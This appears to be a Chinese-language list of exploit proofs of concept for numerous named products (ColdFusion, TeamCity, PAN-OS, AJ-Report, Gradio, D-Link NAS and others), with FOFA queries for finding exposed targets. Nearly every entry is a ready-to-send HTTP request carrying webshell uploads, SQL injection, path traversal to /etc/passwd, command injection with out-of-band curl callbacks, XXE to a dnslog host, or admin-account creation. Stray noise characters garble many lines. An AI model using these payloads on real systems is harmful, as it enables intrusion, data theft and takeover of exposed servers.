6 n/ X% a( b" L( L% SContent-Type: text/plain

+ ]8 f& C8 _% \<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
2 G1 X$ q: Y8 M' U4 L<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
* g6 @$ T' j9 ^' c, N; H]
9 \' j% Z* e8 s9 w  o" G* y  O. {>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

. Q5 V" w& x0 Z6 t2 [

7 N$ A( t+ D, r. t/ K# z. t% _1 C128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
& s9 t& B+ t' {% cFOFA：app="Adobe-ColdFusion"
% \' o% U3 w4 K1 iPAYLOAD

129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
8 B: W/ I" g( K& @( a4 h4 ~FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
% {4 e7 K6 J  E* E8 Z  a' rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
6 p' n& K  g# v# m# zConnection: close

9 Q5 L1 m+ [/ r
第二步，读取/etc/passwd文件
8 f8 d/ y$ n1 m# @/ c0 O& m* C" yGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) q, E0 N0 h4 Z7 `1 U$ L" m- b1 ^Accept: */*
Accept-Encoding: gzip, deflate
% Q" q9 w* k: o4 F/ dConnection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
7 M* `. Y1 F- Z3 Y

130. Laykefu客服系统任意文件上传
- v/ o  P# t! q  ^FOFA：icon_hash="-334624619"
3 e4 z/ N3 W( {( ^POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
/ [2 j$ \7 Z" p# C% HAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
$ l" S/ @( g0 A, l1 \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 s$ s* K& k6 b- W1 H3 fCookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
$ |$ B+ u: u9 C/ }2 Z" j8 v0 D$ [Content-Disposition: form-data; name="file"; filename="1.php"
! C/ J7 F4 B6 d5 z/ ZContent-Type: image/png
6 {4 [  O, d' E- E6 ~+ h( S/ L
# |9 S* E. q9 d- N+ C* L<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
3 x8 T" l( p0 k+ |. H# ~后台地址：http://localhost:8080/tmall/admin
& i- b& Y: R9 |3 |http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

' F8 b3 S4 E; ]1 X# X132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
, W4 i" W# |* [. N( O5 RCVE-2024-27198
+ f3 b! g6 t+ q- A" P* t- WFOFA：body="Log in to TeamCity"
* S- f, q7 ]9 r( LPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
. R) I# z0 K6 Z7 m. gHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ z& B4 {  p; s( B$ G# A9 MAccept: */*
8 n, N8 p. A  [Content-Type: application/json
' b$ P3 z/ d" s1 h6 BAccept-Encoding: gzip, deflate
# g( l3 d" S+ W. T# g
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
/ R; s- t- h% b0 Q3 }( j
% L3 b% [! t! ]# n4 M$ V
CVE-2024-27199
/res/../admin/diagnostic.jsp
; U/ f  R  _) H$ D* s4 z4 E7 z/.well-known/acme-challenge/../../admin/diagnostic.jsp
, ]  h3 i) S6 N; j* h  C/update/../admin/diagnostic.jsp

7 n" X; }1 u# M2 l4 ]
CVE-2024-27198-RCE.py
! @# Q6 B6 g5 L! Y! r: f" e- x
# `$ W; W. u& J1 t2 ?3 Q" s# b133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
% @1 @4 _5 h* u" l) |% C8 NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
# n4 P+ H. Z' d9 L4 s9 M; k% a
+ g% h" b' l* n- o7 a; Q; [  S<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



  {7 @9 k, g1 m" D+ w) A. s# k) l2 Z134. 网康NS-ASG应用安全网关index.php sql注入
: x* ]2 v) V2 V% P3 T) _CVE-2024-2330
* U$ Y9 ?* r% QNetentsec NS-ASG Application Security Gateway 6.3版本
7 _4 G4 Z* u( P4 g- ?$ mFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
4 P# s; m$ R5 k, f- w! c9 EHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
: n9 Y. ^" `0 j  S7 b( wSec-Fetch-Site: same-origin
Te: trailers
! x. [8 C3 i7 z3 i3 q$ P, A' iConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
% r* G" X; S$ u2 n8 z
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
5 y& Y4 ~2 b6 R4 P5 }

1 l  @, u8 G& D0 ^2 X" W8 K135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
$ S+ u% E" ?& c7 V' m* f1 M- ~Netentsec NS-ASG Application Security Gateway 6.3版本
, {3 l" o4 U! V5 H" IFOFA：app="网康科技-NS-ASG安全网关"
* G$ g' b2 u2 p# M2 mGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
# k0 b! F6 U( W8 A( h! ^Host: x.x.x.x
0 W( i) x, s! |0 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( t. p8 g% q5 \" nConnection: close

/ Y& i6 d1 _% _  Q- L
136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
' o' s- H: ]* w" eHost: x.x.x.x:10000
, t* a0 Z* u4 \# t- ^5 Y% LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' j  k/ ^4 W0 H/ X; TConnection: close
Accept: */*
; y" N: ~+ l. kAccept-Language: en
Accept-Encoding: gzip
* X. S" i# T9 r

  x7 G8 K1 o( V9 Y. j' A137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
6 t" H/ T! Q$ l& {8 i: e3 @& RFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
: r& r6 k  r9 w" LGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
0 N+ Y  r: {: \$ T- H, THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
3 D+ B9 m$ e; `$ M) LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 \) u! o* B3 Z! AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ c( N1 N1 J) A) a/ g' I3 DAccept-Encoding: gzip, deflate, br
/ p3 \+ x; G$ x" K  q3 nConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
" n: s% K: J7 C* h& c" G/ q+ yUpgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
0 I) a2 ]+ R, k) t  ~5 W5 SCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
# d: B! M6 E4 `0 u7 |$ p4 R7 aGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' {. a# t! e# |4 o: d$ ^  Y: zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
' p/ R9 L6 B& [: X1 PConnection: close
% X5 g; G0 O7 z$ x( e9 {* WUpgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
" O" g$ H* A: F8 J8 c, ]$ Q& I# jCVE-2024-2622
! k' C; q' _' D6 JFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
0 S$ a  Q7 A7 CGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
* i% E3 v' T, B% B9 EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 H( N6 O# H# x, Z4 L* |7 I) }3 t0 B& uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 Z$ i9 e$ Z# _Accept-Encoding: gzip, deflate, br
( r7 I* o2 @8 [: IConnection: close
: @3 G$ g7 R. u( L% o8 BCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


& ?6 e, h4 x7 [2 n2 s& O0 W- I140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
  n7 g+ T5 X2 e+ oCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
! R0 q& a: n) X  T/ F5 EHost: x.x.x.x
0 R+ n! l# z5 k* ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 t3 S+ A# Y- T1 G8 sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ p& A9 g5 H! {6 ]' n  ]& xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
9 N; E) u  ^+ J: m2 h5 s/ RUpgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
1 t  v9 g# H( k. B# ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
0 H( t+ L8 q# v( _" t" `- e' {

( _0 ]1 F/ Y  M, F2 ?; bdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
3 b" t2 r. s7 B; f6 [& F- r, F+ i

142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
5 z7 q$ U! {  C3 L) \4 _0 XFOFA：body="/808gps/"
, S" y* `! _" Q4 J4 i+ zadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
* b9 I  J$ b  BFOFA：title='AP setup' && header='netis'
! E& T" `( o  e% h* hPAYLOAD

144. D-Link nas_sharing.cgi 命令注入
% j/ C. p0 B9 r9 x7 pFOFA：app="D_Link-DNS-ShareCenter"
; X" f/ b7 w  t6 N* ?  f7 Csystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
) W: |& F, l' l" H$ m( SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
4 p$ Q7 o0 I2 T  LAccept-Language: en
Accept-Encoding: gzip


: O" a5 e2 K+ n145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
. V8 j) x. D8 B# Q4 x, }4 NFOFA：icon_hash="-631559155"
9 L: |) l& w. f( |# D& H- w! j: L8 EGET /global-protect/login.esp HTTP/1.1
/ K& R& m4 H' g+ w+ X* p# ~Host: 192.168.30.112:1005
* i2 A3 X9 n4 X9 a: gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
* J: v# K4 G6 i; a, PConnection: close
  {0 V0 ]0 Y6 r/ e+ SCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
; a0 t: V- n/ K  }

146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
+ q2 Z/ T8 R. t( }- S; l1 M6 KFOFA：app="MajordomoSL"
: w3 O/ U9 U. j& z) c, R/ {3 kGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
( ?- x, f4 Z0 bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
- U* l$ f) G, iAccept-Charset: utf-8
, Y) _2 }3 |4 \# ?: EAccept-Encoding: gzip, deflate
Connection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
" ^1 e: A# O3 P, b' B8 ?CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
6 C% `) I5 z! q& \: PHost: 127.0.0.1:81
; P) D6 d2 K1 [& xCache-Control: max-age=0
Connection: close


' P' C6 ^5 [5 ^  D5 [6 H148. CrushFTP 认证绕过模板注入
! y( f) Y/ Z; k3 ^: dCVE-2024-4040
3 }  ]0 o$ z: eFOFA：body="CrushFTP"
PAYLOAD
$ E8 Q% ]( d* h: H0 m9 }4 ?3 N4 L
149. AJ-Report开源数据大屏存在远程命令执行
8 }5 J! D# ?" b" ^( e0 p3 ~! J: ~FOFA：title="AJ-Report"

% S& z) I' b3 {$ Z  R# CPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
7 I+ d' V) A  y" k0 @Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
! _) G- ?" W& r- i0 P: @/ x- u$ zConnection: close
& T6 c2 V* E0 j* e1 L
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

% I) x3 @4 @0 M$ k150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: o% E' N3 E- F" @' |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 U. b3 S+ n1 ?+ t9 e8 W* ~Accept-Encoding: gzip, deflate, br
2 N0 L( p! ?: D! iAccept-Language: zh-CN,zh;q=0.9
( Y4 r. Y# N- B0 [, J2 p1 qContent-Type: application/json;charset=UTF-8
" t; w% d# n& R3 {Connection: close
" I; t* ~2 P! c5 uContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
4 |( Y3 G; n# ^; J

151. AJ-Report 1.4.1 pageList sql注入
" C# e# x  q6 ]: V, GFOFA：title="AJ-Report"
7 x. S9 a! M" }* D" k1 E. D, P# ?7 v- uGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
5 V7 ]! ?  C0 p- w$ S' [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

' a0 y( a9 k9 g/ T" \: T" n- H
152. Progress Kemp LoadMaster 远程命令执行
. q) f6 F! [' P# ACVE-2024-1212
9 u* z( R* `2 VLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
, A$ r3 h' f( }0 S( eFOFA：body="LoadMaster"
8 o/ `: k4 g4 Q4 Q1 \JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
) K/ v1 p$ m+ L1 FGET /access/set?param=enableapi&value=1 HTTP/1.1
" e. K9 w! Y  h' X6 K, O6 e  B: ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
: ]2 Y, _% w5 F' a1 S4 @, IAccept: */*
% n% f, M7 D3 |Accept-Language: en
) ^$ I5 m! v. M' f1 S  h+ H( E$ q4 ]& BAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
8 T" G: y7 z  B' q% u; bAccept-Encoding: gzip
, C0 |/ S# w& u9 S
3 ]$ Y7 r9 T- e; m
; F" m/ p5 b, V. \153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
, H( p! E: I- s! Q/ Z& A
# M* o0 q5 c8 x5 u3 {0 b
' B7 o; G) F. a' c第二步，将/etc/passwd的内容写入到一个临时文件
, Z3 L/ j7 t7 |" r* l. B) ?POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
: X' @4 h8 z( w" [# U6 q8 pContent-Length: 115
6 i% L1 i+ y& |# J! u% w# G: hContent-Type: application/json
Accept-Encoding: gzip

% t& e3 I; P6 R' T9 K* C5 @, v" P{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
. z  f3 q1 e+ h2 W$ }9 T
, z5 D0 d1 F: B7 Z, G" h8 q1 _! A
第三步访问
7 x" S% Q/ L* L2 V; {1 vhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
% {& {# m' K) m
- p/ q' l" ^" p0 k. n: f' A5 _
2 @4 }4 d! z, H/ f9 G9 U154. 天维尔消防救援作战调度平台 SQL注入
; C4 |0 O. T2 O7 I& CCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
1 J% a- P7 H2 `% g, XHost: x.x.x.x
Content-Length: 106
2 r; T& D8 z: E6 R1 ~8 vCache-Control: max-age=0
; _  r& Y1 v1 O2 U; c- rUpgrade-Insecure-Requests: 1
8 H& y! y9 T  S! f$ H, ZOrigin: http://x.x.x.x
Content-Type: application/json
) m  `  p4 I' {: `; Y9 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 ]- z8 S( V* D( x4 c" z2 _4 qReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
; D2 o) X6 F+ U+ Y7 [- S) wConnection: close
3 [# f9 E& i$ u& |8 ^
' s1 \) k9 L* O( x1 q{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

" e9 P/ \# g0 O( N" k
9 R4 g3 H7 W1 x0 }( u155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
1 s! ]8 t! o! O- s+ J9 I# L: J/ {FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
. M  s/ c4 c/ A0 L% b9 CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
% L; ]' f6 P7 i! OContent-Length: 232
9 d7 e% D! V' j. `: ~Accept: application/json, text/javascript, */*; q=0.01
: c8 e; j& G) A  ?4 AAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( ~1 A& H/ M& S  a: t: ?" Y3 ?- rContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

# T; E2 [$ B% d2 P3 Y-----------------------------qttl7vemrsold314zg0f
& F8 e& ~$ g: Y, K+ {Content-Disposition: form-data; name="file"; filename="test.php"
/ g' ?* a, c4 |6 ]4 K4 HContent-Type: image/png
. [. a3 Z# K9 c- Z- b$ n
<?php phpinfo();unlink(__FILE__);?>
5 y* H( b6 |: v# g-----------------------------qttl7vemrsold314zg0f--
3 O. D) |/ M% b8 q% S! f* d

( Z. t  P0 ^/ e! N) H: x( V访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
' o" C5 S5 c4 Y- t$ D; y/ P
156. TBK DVR-4104/DVR-4216 操作系统命令注入
/ ^' i5 L% _" g& mCVE-2024-3721
) o" L( H+ b0 f; F5 I. ZFOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
& [! Y# K. |8 A% i  ?; gcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
( x! V, G2 u7 W2 X5 j/ Y* o( h
6 V6 P' W6 N- x+ a, j
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
9 \2 T! ?! L6 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip


157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
+ l# I0 ]9 E8 fFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
# S5 z( b0 G& F' Z4 }; mContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ z" ~' E7 m5 r8 |! PAccept-Language: zh-CN,zh;q=0.9
5 C8 X; {- N7 x: q+ P. \" K8 w: M- fCache-Control: max-age=0
Connection: close
% I5 L; k1 v) V# ~+ I& d, s" UContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
$ Q. s$ O0 K. ]1 z2 W. Y# z  fUpgrade-Insecure-Requests: 1

) L  {" X1 b* V# ?5 w, o------WebKitFormBoundary1imovELzPsfzp5dN
8 W# _4 S1 F7 {9 B( }# \. yContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
- k; k3 U+ u* ?7 I% k, ]Content-Type: application/octet-stream

' x9 ?, L! A: ?; c7 Pnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
2 T! T3 R6 b" [' A: b9 @
- t; P/ b3 L" f3 znull
------WebKitFormBoundary1imovELzPsfzp5dN
/ Z% u3 j) h1 ?% W; [Content-Disposition: form-data; name="form"
* D( H$ N! W% S
null
" c, u% l( A( H) g( s7 Z------WebKitFormBoundary1imovELzPsfzp5dN
% G. ?$ |: M3 Z0 x( m; c, p1 _' dContent-Disposition: form-data; name="field"
0 f( m  x* ~( k+ K# H5 h1 r
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
! Z+ m! c( [2 A# [7 w" I
5 H9 A$ o; D; Q5 j& Nnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
( [5 s- q+ u* q8 N& T* `------WebKitFormBoundary1imovELzPsfzp5dN--
2 z0 [  N" v  s
3 F! E+ ^  h  s% G1 \
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
& @5 M3 M* y- |. n4 f
158. Mura-CMS-processAsyncObject存在SQL注入
4 A0 e  z- \+ G  g" E: _3 W% CCVE-2024-32640
. Z9 l6 a4 K  vFOFA："Generator: Masa CMS"
* T1 X9 I: d6 `. @5 VPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
# p. |7 e' q% L; z. YContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1

0 U- ^6 X3 U0 [; f' w+ y
